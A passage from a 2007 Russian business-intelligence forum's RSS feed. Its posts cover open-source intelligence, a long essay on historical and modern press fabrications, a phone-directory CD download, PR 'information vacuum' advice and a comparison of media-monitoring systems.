документов, появляющихся в Сети, отслеживает их по заданным ключевым словам и предоставляет готовый отчет. Неважно, что вас интересует, она аккуратно соберет все, что касается предмета вашего интереса, ежедневно сообщая, кто, что, где и когда об этом сказал. Таким образом можно следить за информацией о рынках, технологиях, фирмах, людях.

90 % информации, которая интересует спецслужбы (и нас) находится в открытых источниках. Сбор и обработку этой информации осуществляет сотни сайтов, в том числе исторический архив (с 1994 по 2007) EDGAR, принадлежащий Комиссии по ценным бумагам и биржам США; сайт компании Newslink, публикующей материалы практически из всех местных газет и региональных журналов США, а также из 4000 иностранных периодических изданий; и ещё множество других, одно перечисление которых займёт целый журнал.

Разведывательная деятельность в интернете на сегодняшний день один самых динамично развивающихся рынков товаров и услуг. До 25 % всех компьютеров в мире несут в себе spyware программы. С каждым годом оборот этого бизнеса неуклонно растёт, как растёт количество спама и рекламы. Но ушло уже то время, когда общественность можно было запугать массовым контролем, автоматизированным шпионажем, отсутствие privacy (частной жизни) или избирательной рекламой, транслируемой прямо в мозг. Ушло потому, что одним прекрасным утром мы проснулись и поняли, что не так оно всё страшно, как могло быть. Подконтрольное будущее как-то незаметно, посреди ночи, пришло в нашу жизнь и стало такой же обыденностью, как компьютеры, интернет, сеть. Самое главное осталось в другом. Самое главное, что мы ещё живы, солнце по-прежнему садится и восходит на горизонте, а консоль призывно манит мерцающим курсором…

]]> Wed, 15 Aug 2007 16:56:51 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=207 поиск владельцев недвижимости за рубежом http://www.a-rsb.ru/forum/index.php?showtopic=256 Прошу поделиться опытом тех, кто сталкивался с задачей поиска владельцев недвижимости за рубежом. В частности интересует Испания и Люксембург. Есть ли в этих странах официальные конторы, кто может дать ответ на официальный или частный запрос? Кроме варианта обращения к частным иностранным детективам ничего в голову не приходит. Wed, 10 Oct 2007 09:33:11 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=256 Можно ли доверять СМИ http://www.a-rsb.ru/forum/index.php?showtopic=210

30 июля в программе "Вести" на телеканале "Россия" была показана первая полоса газеты Times с заголовком статьи "Березовский манипулирует нами, и это стыдно". Ведущий зачитал несколько фрагментов из этой статьи. "Первая полоса газеты Times в том виде, в котором она была показана "Вестями", поддельная, - заявило руководство газеты. - Показанные заголовок и статья - комментарий одного из колумнистов Times, опубликованный на одной из внутренних полос газеты 30 июля. Она не являлась ни первополосной, ни новостной заметкой, но личным комментарием. Картинка, показанная "Вестями", дает совершенно неверное представление о первой полосе Times".

Менее чем через две недели финская газета Ilta-Sanomat сообщила, что под видом кадров глубоководной экспедиции в Северном Ледовитом океане канал "Россия" показал фрагменты из фильма Джеймса Кэмерона "Титаник". Агентство Reuters, использовавшее эти кадры, извинилось перед своими подписчиками и объяснило, что кадры были получены от телеканала "Россия".

Стремление ввести публику в заблуждение, приукрасить события, скрыть их или выдумать нечто никогда не происходившее отличало средства массовой информации еще в глубокой древности. Безудержное восхваление и обожествление монарха, гиперболизация его физической и сексуальной мощи, его военных побед, богатств, дипломатических успехов, числа покоренных народов – эта привычка сервильной прессы дожила от египетских фараонов до наших дней, равно как и обыкновение карикатурно изображать врага.

Обычай наказывать гонца, принесшего дурную весть, и награждать вестника за хорошую тоже имеет весьма древнее происхождение. Понятно, что он отнюдь не способствовал объективности сообщений. Геродот в своей "Истории" (V, 87) рассказывает, как единственный оставшийся в живых после битвы с эгинцами афинянин прибыл в Афины с трагическим известием и поплатился смертью: вдовы погибших в отчаянии до смерти искололи его застежками своих одежд. Инцидент имел следствием изменения в модном гардеробе: "До того времени ведь афинские женщины носили дорийскую одежду, совершенно одинаковую с коринфской. Теперь они должны были носить льняные хитоны, чтобы не употреблять застежек".

Чужеземцам и торговцам, сообщавшим новости об исходе далеких баталий и других судьбоносных событиях, греки не доверяли: с иностранца какой спрос, а торговец может солгать, дабы взвинтить цену на свой товар. (Этот испытанный прием по сей день в ходу у биржевых брокеров.) Плутарх пишет, как в Пирей прибыл чужеземец и, отправившись к цирюльнику привести себя в порядок с дороги, поведал ему о катастрофе, постигшей афинские войска в Сицилии. Цирюльник помчался в город и рассказал о сицилийском поражении. Архонты созвали народное собрание. Цирюльник повторил свое известие перед народом, но затруднился назвать источник; чужеземца же к тому времени и след простыл. Тогда за цирюльника взялись всерьез: "Его сочли выдумщиком и смутьяном и долго пытали, привязав к колесу, пока не прибыли люди, во всех подробностях поведавшие о несчастье".

Колониальные власти Америки с подозрением относились к печатному слову. В 1671 году губернатор Вирджинии Уильям Беркли писал в Лондон: "Образование ведет к неповиновению и наполняет мир ересями и сектами, а печать повсюду распространяет их ложные учения и клевещет на правительство. Да хранит нас Бог и от того, и от другого". Губернатора понять можно. Первую попытку наладить издание газеты в североамериканских колониях предпринял в в 1690 году Бенджамен Харрис - английский печатник, которого в Лондоне приговорили к позорному столбу за фабрикацию сообщения о заговоре против короля. В Бостоне он выпустил газету под названием Publick Occurences Both Foreign and Domestick ("Зарубежные и местные общественные события"). Издание получилось мрачным: оно сообщало о пожарах, эпидемии оспы и резне, которую учинили индейцы, а из зарубежных событий – о фривольных нравах французского двора. На четвертый день губернатор велел закрыть газету за распространение "сомнительных и недостоверных сообщений".

Вспомним первую русскую газету – учрежденные Петром I "Ведомости". Царь-реформатор, как известно, самолично ее редактировал и писал некоторые заметки. В номере от 20 июля 1708 года имеется сообщение о разгроме восстания под предводительством Кондратия Булавина (восстание называется в газете, естественно, "бунтом", а Булавин – "Кондрашкой"). "Также и под Саратовом и Азовом посланные воровские его товарищи, с немалым собранием побиты, и видя он, Булавин, что не может от войска царского величества уйти, убил сам себя до смерти", - гласит одна из заключительных фраз статьи. Версия о самоубийстве Булавина стала официальной и повторялась вплоть до последнего издания словаря Брокгауза и Ефрона. Однако по другим сведениям, Булавин был убит казаками своего же войска.

Вот еще пример из дореволюционной русской прессы. В августе 1904 года, во время русско-японской войны, газета "Русь" взбудоражила своих читателей сообщением о поимке японского шпиона: "Близ Москвы на линии Нижегородской железной дороги задержан японец, при котором оказались планы и какие-то записки на японском языке. Японец объяснил, что живет в Москве несколько месяцев и служит в прачечной; в настоящее время он содержится под арестом".

Эстафету подхватили "Московские ведомости": "22 июля в 10 часов утра у пассажирской станции "Москва II" Московско-Курско-Нижегородской железной дороги, близ железнодорожного моста, проходившими здесь подбойщиками (ходячие сапожники) был задержан рассматривающий конструкцию этого моста, что-то записывающий и вообще странно ведший себя, прилично одетый молодой человек, японского, до мельчайшего сходства, происхождения".

Тему муссировали несколько дней. Наконец, корреспондент газеты "Русское слово" решил разобраться. Он отправился по стопам "шпиона": "Вчера мы посетили Новую Деревню, опросили некоторых очевидцев поимки "японца" и побывали в Рогожском участке.
Никто не видел, чтобы японец что-нибудь срисовывал.
- Просто, - говорили нам, - глаза припухшие, сам весь желтый, - ну, значит, и японец.
По-русски, оказывается, говорит очень недурно, вовсе не признавался в том, что он японец, а наоборот, определенно указывал на то, что он кореец, и давно живет в России, и зовут его Че-Хун-Со.
В Рогожском участке была удостоверена личность Че-Хун-Со; ни больших денег, ни карт и вообще ничего, что могло позволить счесть его шпионом, при нем найдено не было".

Пожалуй, никто не написал смешней о газетчиках "желтой прессы", чем Федор Шаляпин в фельетоне "Пресса и я":
"Пошатываясь, ко мне подходит "Он", опирается на стол...
— Гссс...ин Ш...ляпин? Да? Федор Иванович? Очень рад. Люблю тебя, шельму, преклоняюсь. Преклоняюсь. Поцелуй меня! А? Ну, поц...луй. Слышишь? Почему не хочешь? Зазнался, да? Потому что ты Федор Шаляпин, а я только Никифор Шупаков?! Тебе я говорю или нет?.. И вот он со зловещим видом тянется влажными руками ко мне, стараясь половчее зажать мою голову и запечатлеть на моих губах поцелуй.
Теперь, если, выведенный из терпения, оттолкну его, — знаете, что обо мне скажут?
— "Один из поклонников известного баса и еще более известного грубого драчуна Ф. Шаляпина подошел к последнему с целью выказать свое восхищение перед его талантом. И что же? В ответ на это искреннее душевное движение — Шаляпин поколотил его. Поколотил человека, который хотел приласкаться... Вот они, жрецы русской сцены!!"

Один из самых известных в истории американской журналистики случаев фабрикации материала – "дело" Джанет Кук, молодой афроамериканки, репортера Washington Post, получившей в 1980 году высшую профессиональную награду, Пулитцеровскую премию, за статью о жизни восьмилетнего Джимми – потомственного наркомана. "Игла скользнула под нежную кожу мальчика, как соломинка в только что выпеченный кекс. Жидкость ушла из шприца, который заполнился ярко-красной кровью..." Душещипательная история не могла привлечь внимания широкой публики и профессонального сообщества. В день, когда Кук присудили премию, газета The Toledo Blade, где она когда-то работала, напечатала ее биографию, которая разительно отличалась от версии агентства АР, получившего сведения от самой Кук. Так начал разматываться клубок, который в конечном счете завершился полным разоблачением: не было никакого Джимми, вся история от первой до последней буквы была вымышлена. Джанет Кук уволилась из Washington Post, а газета извинилась перед читателями и вернула премию.

В ноябре 1992 года в программе телекомпании NBC был показан сюжет о том, как грузовик General Motors взрывается при столкновении с другим автомобилем – якобы из-за конструктивного дефекта модели. При расследовании выяснилось, что в грузовике было установлено дистанционно управляемое самовоспламеняющееся устройство. Президент NBC Майкл Гарднер принес извинения и ушел в отставку.

В июне 1998 года звезда CNN Питер Арнетт рассказал в репортаже сенсационную историю о том, как во время вьетнамской войны американские войска применили на территории Лаоса нервно-паратитический газ, чтобы уничтожить американских же дезертиров. История оказалась ложью. Питер Арнетт пытался оправдаться, заявил, что не работал над репортажем, а лишь прочел готовый текст перед камерой. Оправдания не помогли; Арнетт, невзирая на его немалые заслуги, был уволен.

В мае 2003 года разразился небывалый скандал с New York Times. Корреспондент газеты Джейсон Блэйр был уличен в фабрикации, полной или частичной, по меньшей мере 36 статей. Вранье было настолько беспардонным, что уводиться был вынужден не только сам Блэйр, но и главный редактор Хауэлл Рэйнс.

О спасении рядового Джессики Линч, попавшей в иракский плен и освобожденной американским спецназом, четыре года назад узнал весь мир. Сообщалось, что автоколонна, в составе которой она находилась, попала в засаду, что 19-летняя девушка отважно вступила в бой, что тело ее изрешечено вражескими пулями и что в иракской больнице, больше похожей на тюрьму, она подверглась сексуальному насилию. Почти все это оказалось выдумками – засада и плен были, а всего остального не было. Об этом на слушаниях в нижней палате Конгресса законодателям рассказала сама Джессика. Показания дал и врач Джин Боллс, лечивший ее в американском военном госпитале в Германии. По его словам, он сразу же усомнился в достоверности историй, которые уже гуляли в мировой прессе, но был связан подпиской о неразглашении. Насколько удалось установить, дезинформация о героическом сопротивлении и о сексуальном насилии исходила от высоких чинов Пентагона.

Почему сама Джессика Линч не опровергла сразу же сообщения, исказившие реальную картину? Во-первых, она была в тяжелом состоянии, во-вторых – оставалась военнослужащей и не имела права общаться с прессой без санкции командования. А в-третьих, она думала, что, может, так нужно и что выдумки идут на пользу боевому духу войск. "Журналисты взяли в осаду дом моих родителей, - рассказала она Конгрессу. - Все они твердили историю про хрупкую девушку Рэмбо, раненную в бою. Это была неправда. Я уже не раз говорила, когда меня об этом спрашивали: если эти рассказы обо мне ободряют наших солдат и помогают сплотить страну, может, они и нужны. И все-таки мне непонятно, зачем лгать и превращать меня в легенду, когда реальные действия моих товарищей в тот день были лучше всяких легенд".

Напомним также историю с поддельными документами о военной службе президента Буша-младшего, из-за которой классик американской тележурналистики Дэн Разер, извинившись перед зрителями, покинул компанию CBS.

В августе прошлого года агентство Reuters отозвало 920 ранее распространенных среди подписчиков фотографий своего внештатника Аднана Хаджа (Adnan Hajj), после того как выяснилось, что Хадж обработал "Фотошопом" некоторые свои снимки, запечатлевшие израильский обстрел ливанской территории. После обработки разрушения стали гораздо более сильными.

Совсем недавно попалась на плагиате любимица американской публики, ведущая новостной программы CBS Кэти Кьюрик. На сайте телеканала в рубрике "Записная книжка Кэти Кьюрик" появился текст, представлявший собой слегка переписанную статью из газеты Wall Street Journal. Естественно, Кьюрик статью сама не писала. Автор, которого так и не назвали по имени, был уволен, текст снят с вебсайта.

Чтобы показать, что происходит в редакции, когда обнаруживается факт недобросовестности журналиста, расскажем еще одну нашумевшую историю – про репортера-международника Джека Келли из газеты USA Today.

Джек Келли – человек известный. Он работал в 96 странах; освещал все войны и вооруженные конфликты последних двух десятилетий, брал интервью у 36 глав государств; в 2002 году он стал финалистом конкурса на Пулитцеровскую премию. В номере от 14 июля 1999 года газета опубликовала на первой полосе его репортаж о сербских бесчинствах в Косово. Келли не был очевидцем этнических чисток и расстрелов. Он ссылался на записную книжку сербского офицера, которая находится в распоряжении Международного трибунала для бывшей Югославии в Гааге. Журналист утверждал, что книжка была показана ему во время интервью; он пересказывал ее содержание и описывал внешний вид. Речь шла о массовом убийстве сорока четырех мусульман в одной из косовских деревень 14 мая 1999 года. Спустя месяц после этого события НАТО начала воздушную войну против сербских войск в Косово.

Однако впоследствии представители гаагского трибунала усомнились в существовании записной книжки. Эти сомнения дошли до главного редактора USA Today Брайана Галлахера. Тот поначалу не дал делу хода, однако летом 2003 года появились сведения о том, что Келли сфабриковал и другие свои материалы. Галлахер вспомнил историю с записной книжкой, пригласил к себе Келли и задал ему ряд вопросов; репортер в ответ подробно изложил обстоятельства, при которых он видел книжку. Он назвал имя своего собеседника, которое не называлось в статье: Наташа Кандич, известная сербская правозащитница. Встреча будто бы имела место в Белграде. Вместе с Келли в ней участвовала его переводчица. Редакцию вполне удовлетворили бы подтверждения этих двух свидетелей, но как раз их-то Келли и не смог представить. Он говорил, что не может дозвониться до нужных номеров, что в офисе Наташи Кандич никто не говорит по-английски и ему пришлось попросить об услуге сербскую коллегу, но и она не может связаться с Кандич.

Так прошло лето. В сентябре журналист газеты Марк Меммотт получил задание заняться делом Келли. С первой же попытки он дозвонился до Наташи Кандич. Правозащитница сообщила ему, что не помнит никакого интервью с Джеком Келли (впоследствии оказалось, что один раз они все-таки встречались) и что она никогда не держала в руках документ, хотя бы отдаленно напоминающий тот, что был описан Келли. Меммотт в тот же день пересказал Келли свой разговор с Кандич и попросил номер телефона переводчицы, которая участвовала в интервью. Келли дал номер и назвал имя – Даниэла Якамович. Но дозвониться по этому номеру оказалось невозможно: линия отвечала либо глухим молчанием, либо монологом автоответчика на сербскохорватском языке. Тогда Меммотт позвонил в американское посольство в Белграде и попросил проверить номер. На запрос посольства местная телефонная компания ответила, что такого номера в Белграде нет; не значится в списке абонентов и лицо по фамилии Якамович.

Меммотт решил, что Келли дал ему неверный номер по ошибке, и попросил поискать правильный в старых телефонных счетах. На новой встрече с Галлахером, в которой участвовал и Меммотт, Джек Келли изменил свою первоначальную версию. Он заявил, что на интервью присутствовала еще и вторая переводчица, телефон которой он постарается найти. Телефон действительно вскоре нашелся. Мужской голос на другом конце провода сказал Галлахеру, что его жены в настоящее время в Югославии нет. Повезло Меммотту спустя еще две недели. Дама подтвердила факт интервью, сказала, что никаких документов Кандич Джеку Келли не показывала, но о записной книжке рассказывала. Никакой второй переводчицы, по словам свидетельницы, на интервью не было.

Еще через несколько дней радостный Келли сообщил Меммотту, что ему удалось через друзей разыскать Даниэлу Якамович и что она сама позвонит Меммотту. Вскоре Меммотту и впрямь дважды позвонила дама, назвавшаяся Даниэлой Якамович. Однако у Меммотта зародились подозрения. Его собеседница отвечала на критически важные вопросы прежде, чем ее об этом спрашивали; при этом она излагала подробности интервью ровно теми же фразами, что и Келли, хотя утверждала, что они не разговаривали уже несколько месяцев и никогда не обсуждали встречу с Наташей Кандич. Насторожило Меммотта и то обстоятельство, что мнимая Якамович не дала своего номера, сказав лишь, что на будущей неделе будет в Белграде.

Репортеру удалось установить, что в первый раз дама звонила ему с сотового телефона в Хьюстоне, а во второй – из квартиры в том же Хьюстоне. Квартирный номер был записан на мужское имя, а сотовый ни в каких справочниках не значился.

Марк Меммотт отправился в Белград. Джек Келли снабдил его именами и телефонами людей, которые, по его словам, могут помочь найти Даниэлу Якамович. Однако все они как один ответили Меммотту, что никакой Якамович не знают. Вернувшись ни с чем, Меммотт засел за изучение служебных телефонных счетов Келли. Никаких звонков в Югославию за тот период, когда Келли будто бы пытался разыскать в Белграде переводчицу, в них не значилось. Эксперты, прослушавшие записи разговоров Меммотта с подозрительной дамой, пришли к выводу, что она не сербка, а русская. Оказалось, что это переводчица, сопровождавшая Келли в его поездках в Россию и с тех пор переселившаяся в США. В Югославию с Келли она никогда не ездила.

Наконец, в первых числах декабря Джек Келли получил от начальства документ, в котором излагались результаты служебного расследования. Келли попросил две недели на то, чтобы найти объяснения всем сомнениям и несообразностям. Он нашел бывшую сотрудницу ООН, которая была в Косове в 1999 году. Эта дама заявила руководству газеты, что речь может идти о приказе командования югославской армии. Она согласилась с тем, что текст приказа не вполне совпадает с содержанием записи в книжке в изложении Келли. Она добавила также, что факты, изложенные в статье Келли, соответствуют тому, что в действительности происходило в Косово. Но это соответствие и не подвергалось сомнению, ответили ей.

Спустя еще несколько дней Келли признался в подлоге. В ответ ему было предложено уйти подобру-поздорову, что он и сделал. Надо отметить, что как факт служебного расследования, так и его результаты редакция держала в тайне и предала огласке лишь после того, как сам Келли попытался публично оправдаться в интервью Washington Post. Поскольку руководство USA Today считает, что история с Келли нанесла газете огромный моральный ущерб, оно объявило о том, что назначает независимое расследование всей профессиональной деятельности Келли, и попросило участвовать в этом расследовании авторитетных журналистов со стороны. Уже после отставки Келли Наташа Кандич подтвердила корреспонденту АР, что записная книжка, о которой сообщал Келли, существует, что переплет у нее не черный, как пишет Келли, а красный и что она находится среди документов Гаагского трибунала. Она, однако, никогда не показывала книжку Джеку Келли и не помнит, чтобы встречалась с ним. Она, впрочем, добавила, что встречается с множеством журналистов и запомнить всех решительно невозможно.

Получается, Келли услышал о записной книжке то ли от Кандич, то ли еще от кого-то, кто знал о ее существовании. Но для вящей убедительности написал, что видел книжку своими глазами. За эту ложь он поплатился блестящей карьерой и добрым именем. Остается лишь подивиться тщательности предпринятого расследования и доброжелательности, с которой оно велось, – коллеги до последней возможности хотели верить Келли и давали ему шанс оправдаться. Однако после выяснения фактов наказание было неминуемо.]]> Sat, 18 Aug 2007 21:38:15 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=210 Поиск данных по учреждениям здравоохранения http://www.a-rsb.ru/forum/index.php?showtopic=160 Поставлена такая задача: найти информацию о числе коек (по специализации) как по отдельным ЛПУ, так и по регионам. Сайты комитета статистики и минздрава такой информации не предоставляют. Сайты областных комитетов и министерств здравоохранения - тоже. Ехать в госкомстат? Кто-нибудь с такими базами сталкивался? Thu, 17 May 2007 11:59:01 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=160 Телефонный справочник МГТС-2007 http://www.a-rsb.ru/forum/index.php?showtopic=209 МГТС Москва-2007

Это образ компакт-диска телефонного справочника "Москва-2007" - официального издания МГТС. Справочник содержит более 140 тыс. государственных и коммерческих предприятий и организаций Москвы. более 3 млн. телефонных номеров. Поиск необходимой структуры возможен по ее названию, адресу, телефону, Интернет-сайту, местоположению на карте, виду деятельности и т.д. В числе полезных опций - экспорт данных в Word, распечатка необходимых контактов или фрагмента карты, создание списков рассылки, доступ к постоянно обновляемым базам данных МГТС.
На диске представлены: схема метрополитена, схема административного деления столицы, карта Москвы с детализацией до дома, карта Московской области, телефонные коды государств и населенных пунктов, список переименований улиц. Кроме того, с помощью справочника пользователь может уточнить, к какому оператору связи относится та или иная АТС.


Формат образа: .iso
Размер образа: 168 Мб. Интерфейс: Русский
Офсайт: www.mgts.ru Размер архива: 43,9 Мб.
Скачать: MGTS-2007.rar]]> Sat, 18 Aug 2007 19:24:55 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=209 Открытые и оперативные источники информации http://www.a-rsb.ru/forum/index.php?showtopic=35 Существует много видов разведок : радиотехническая, радиохимическая, биологическая, инженерная. войсковая, радиолокационная и т.д. Но мне бы хотелось бы обсудить эффективность разведки, занимающейся работой с открытыми источниками и получающей оттуда информацию и противопоставить этой разведке оперативные методы работы. Вопрос эффективности спорен теоретически.Но практика показывает, что основным носителем информации является все таки человек. Именно работа с людьми приносит больший результат при сборе информации. Что думают по этому вопросу коллеги ? Sun, 28 May 2006 10:24:10 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=35 Информационный вакуум http://www.a-rsb.ru/forum/index.php?showtopic=201
Компания как и человек дышит, ходит на работу, общается по телефону, посещает выставки, заказывает на обед салат и капает сливочным соусом на отчеты, одним словом компания Живет или по другому, с точки зрения PR, – принимает и отдает информацию. Ведь разве можно делать все выше перечисленное без коммуникации? Ежедневного общения и споров? Нельзя вести активную работу и быть незамеченной, особенно если ваша компания однозначно больше трехкомнатной квартиры или приставляет какое-либо медиа. Если у вас другое мнение приготовитесь принимать пилюли, «информационный вакуум» обходится очень дорого:
сотрудники компании не понимают стратегии компании, поскольку компания им не чего не рассказывает и не объясняет;
иллюзия не предсказуемости вашей компании у партнеров и клиентов;
информация в СМИ поступает хаотично и бессистемно и также хаотично и бессистемно «оседает» там;
спорные моменты во внешней политики компании дополняются домыслами и предположениями со стороны конкурентов и (или) не компетентных лиц;
вывод на рынок новых продуктов или услуг и внезапное желание начать их проушин вызовет удивление и смех аудитории т.к. скорее всего она скажет: «О, мамочки! Кто здесь?» и будет права;
при возникновении реального «кризиса» СМИ вряд ли протянут руку помощи, они, скорее всего, прокомментируют: «Все к тому и шло…»;
попытки сформировать положительную репутацию (если до этого над этим не кто не работал) во время кризиса и поиск поддержки со стороны клиентов и партнеров, скорее всего не увенчаются успехом;
доверие со стороны аудитории крайне низко;
для того чтобы «потушить огонь» недоверия на восстановление или (и) конструирование репутации в период кризиса будет потрачена сумма с несколькими нолями.

Что нужно делать в случае возникновения информационного вакуума специалисты по PR, которые хотя бы раз сталкивались с ним и пытались устранить его, конечно же, знают. Тема антикризисного PR очень популярна и там работают профессионалы. Но профилактика, как известно лучше. Поскольку после осложнения от болезни «информационный вакуум» компания может и не оправится.

Итак, как же возникает вакуум… Средства коммуникации - это средства передачи информации от одного человека к другому. Такая передача осуществляется с помощью жеста, речи, приборов или в письменной форме. Именно посредством коммуникаций информация передается лицам, принимающим решения, а решения - их исполнителям. При сбалансированной коммуникации в компании, информация в виде сообщений через СМИ поступает к людям без слухов и с минимальным процентом погрешности. Если на пути информации есть стена или фильтр, информация не выходит из зоны создания и формирования. Она принимает другие формы, изменяется, дополняется, то есть с «официальной информации» превращается на «слухи» и обходя зону «фильтр, стена» и каналы массовой информации, приближается к «обществу» где происходит формирование репутации и помощью того, что поступает. Также слухи поступают и с других каналов формирования информации, на их пути нет зоны «фильтр, стена» и каналов массовой коммуникации. Такая информации базируется на эмоциях на уже существующих слухах, предположениях. Она может вызвать очень негативный резонанс в обществе.

Угроза вакуума, то есть ситуации, когда информационное пространство вокруг компании наполняется не желаемой информацией – это крайняя точка кипения. Нужно пытаться избегать таких ситуаций. Как говорилось в начале, вакуума в природе не существует и информационные пустоты всегда будут заполняться, поэтому само понятие «Информационный вакуум» стоит понимать не иначе как - особое состояние информационного поля компании, которое заполняется противоречивыми сообщениями, не инициированными компанией, и вредит ее репутации.

Там, где коммуникации нет, координация неразвита, так как она подразумевает взаимную информированность людей о планах друг друга. Более того, сотрудничество также предполагает наличие коммуникации и зависит от нее. Но управление информацией и правильное ее использование не означает необходимость постоянной подачи информации в неограниченном количестве. Мастерство заключается не в умении наращивать обороты, а в умении быть на необходимом уровне. Умение вовремя остановиться, также важно, как и умение вовремя начать.

Источник: Маркетинг журнал 4p.ru]]> Sat, 04 Aug 2007 11:05:24 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=201 Сравнительный анализ систем для мониторинга СМИ http://www.a-rsb.ru/forum/index.php?showtopic=200 Сравнительный анализ информационно-аналитических систем для обработки открытых источников информации

В статье представлено сравнительное описание информационно-аналитических систем, позволяющих самостоятельно проводить анализ открытых источников информации, — в частной таких систем, как «Интегрум», «Медиалогия», Public.Ru и Park.R Статья будет полезна специалистам при выборе способа организации мониторинга вторичной информации или на этапе проектирования маркетинговой информационной системы.
Общепризнанно, что одним из ключевых факторов успеха компании на рынке является своевременное получение достоверной и полной информации об изменениях е внешней среде, а также ее эффективный анализ и правильная интерпретация. В течение после; них лет из-за высокой скорости изменений в окружающем мире объем информации, требующей сбора и анализа, стремительно увеличивается. Периодические издания, телеканалы радиостанции, информационные агентства, Интернет-ресурсы ежедневно сообщают тысячи самых разнообразных фактов, мнений, оценок прогнозов. Это приводит к тому, что сбор и анализ актуальной информации о внешней среде компании из года в год становится все более трудоемкой и дорогостоящей процедурой.

На текущий момент специалисты российских компаний решают данную задачу, как правило, двумя способами:
- заказывают услуги по обработке открытых источников информации у специализированных маркетинговых или информационных агентств;
- самостоятельно осуществляют мониторинг отраслевых изданий и информационных ресурсов.
Одним из инструментов, позволяющих эффективно и самостоятельно решать задачи по обработке и анализу информационных материалов из открытых источников, являются информационно аналитические системы, которым и посвящена данная статья.

ЦЕЛЬ СТАТЬИ, МЕТОДЫ СБОРА ИНФОРМАЦИИ, ДОПУЩЕНИЯ
Целью настоящей статьи является сравнительный анализ предлагаемых на рынке информационно-аналитических систем (ИАС) и популяризация среди специалистов по маркетингу российских компаний данного инструмента как одного из элементов маркетинговой информационной системы.
В качестве объектов сравнения нами были отобраны четыре системы, являющиеся наиболее популярными в российских компаниях (как среди конечных пользователей, так и среди маркетинговых агентств) и позволяющие самостоятельно осуществлять наиболее полный качественный и количественный анализ полученной информации:
- «Медиалогия», компания «Медиалогия»;
- «Артефакт», компания «Интегрум» (далее — система «Интегрум»),
- Public.Ru, компания «Публичная библиотека»;
- Park.Ru, компания «Парк».
Данная статья подготовлена на основании результатов анализа информации, представленной на официальных веб-сайтах компаний-разработчиков рассматриваемых информационно-аналитических систем (www.medialogia.ru , www.integrum.ru , www.public.ru , www.park.ru ), полученной в ходе телефонных интервью с менеджерами отделов продаж компаний-разработчиков, а также на основании опыта работы с этими системами сотрудников компании и коллег. При подготовке статьи нами были сделаны следующие допущения:
-в статье рассматриваются только русскоязычные информационно-аналитические системы;
- оценка систем производится с точки зрения удобства и эффективности их использования сотрудниками отделов маркетинга или специалистами маркетинговых агентств;
- в статье не рекламируется какая-либо конкретная система, мнение и оценки авторов статьи могут не совпадать с мнениями других специалистов в исследуемой области.

КРИТЕРИИ СРАВНЕНИЯ ИНФОРМАЦИОННО-АНАЛИТИЧЕСКИХ СИСТЕМ
Для проведения сравнительного анализа был сформирован перечень критериев, опи¬сывающих основные характеристики ИАС, рассматриваемые пользователем на этапе выбора системы. Графически полученную схему сравнения можно представить следующим образом (см. рисунок).


Блок «Общее описание системы» содержит: краткое описание системы, уникальности продукта с точки зрения разработчиков и пользователей, описание решаемых задач в области маркетинга, а также по мнению групп специалистов, для работы которых предназначена система.
Блок «Функциональная часть» разделен на три логические подгруппы: «Источники информации» (поступление данных из СМИ), «Техно¬логии и процедуры» (проведение анализа) и «Результаты» (информация для принятия решений или обработки в рамках маркетинговой информационной системы компании).
В блоке «Маркетинговая часть» сравнивается стоимость пакетов услуг, описываются дополнительные услуги, предоставляемые клиенту (такие как обучение клиента работе с системой, помощь персонального менеджера, консультации пользователей; проведение семинаров для пользователей), и варианты ознакомления пользователя с системой.
РЕЗУЛЬТАТЫ СРАВНЕНИЯ СИСТЕМ
Результаты сравнения позволяют сделать вывод об отсутствии существенных различий рассматриваемых ИАС по таким параметрам, как целевая аудитория пользователей и перечень решаемых задач. Рассматриваемые системы с разной степенью эффективности использования и наглядности предоставления результатов позволяют решать круг схожих задач, стоящих перед отделом маркетинга и пресс-службой предприятия, например:
в–  конкурентный анализ;
в–  информационная разведка;
в–  изучение отраслевых рынков;
в–  управление репутацией;
в–  оперативный мониторинг СМИ;
в–  точный поиск информации.
Целевыми пользователями рассматриваемых информационно-аналитических систем являются преимущественно сотрудники отделов маркетинга (маркетологи-аналитики, PR-менеджеры), пресс-служб и служб безопасности. Кроме того, в рассматриваемых системах предусмотрены пакеты услуг для менеджмента компаний, позволяющие руководителям предприятий и отделов самостоятельно изучать необходимый объем информации.
Далее представлено описание каждой из рассматриваемых информационно-аналитических систем в соответствии с указанными выше критериями.

Система «Медиалогия»
Общее описание системы
Система «Медиалогия» изначально разрабатывалась для внутренних нужд холдинга IBS, специализирующегося на управленческом консалтинге; с 2003 г. система «Медиало¬гия» была запущена в коммерческую эксплуатацию. Как говорят сами разработчики и признают представители маркетинговых агентств, оказывающих услуги по монито¬рингу СМИ, системы с аналогичными аналитическими и поисковыми возможностями в России пока не существует. На наш взгляд, уникальной особенностью системы «Медиалогия», с точки зрения пользователя, является удобный и разнообразный инструментарий для анализа информации и наглядность представления результатов.
Единственным сопоставимым с «Медиалогией» по возможностям зарубежным продуктом для обработки информации из открытых источников можно считать американскую ИАС Factiva (www.factiva.com/ru), являющуюся совместной разработкой компаний Dow Jones и Reuters. Однако на сегодняшний день систе¬ма Factiva не представляет интереса для боль¬шинства российских компаний по причине ограниченного количества русскоязычных источников, к которым она имеет доступ.
Функциональная часть
Источники информации. База данных системы «Медиалогия» включает в себя материалы, содержащиеся в открытых печатных, электронных и медийных СМИ. Информацию в базу данных системы поставляют около 2,8 тыс. российских ресурсов: крупнейшие телеканалы, информационные агентства, издательские дома, интернет-ресурсы — и около 200 зарубежных источников. Материалы российских СМИ доступны для чтения и проведения автоматизированного анализа информации, материалы зарубежных СМИ — только для чтения. Пополнение базы данных информации происходит оперативно: медийные материалы (телевизионные и радиопрограммы) поступают в базу через час после выхода в эфир, публикации периодической прессы — при подписании номера в печать, данные электронных СМИ — в режиме реального времени. При поступлении в базу данных системы вся информация переводится в единый текстовый формат, однако пользователь имеет возможность получить оригинал материала (например, для печатных публикаций — отпечаток полосы в формате PDF, для телевизионных и радиоматериалов — видеоролик с фрагментом передачи).
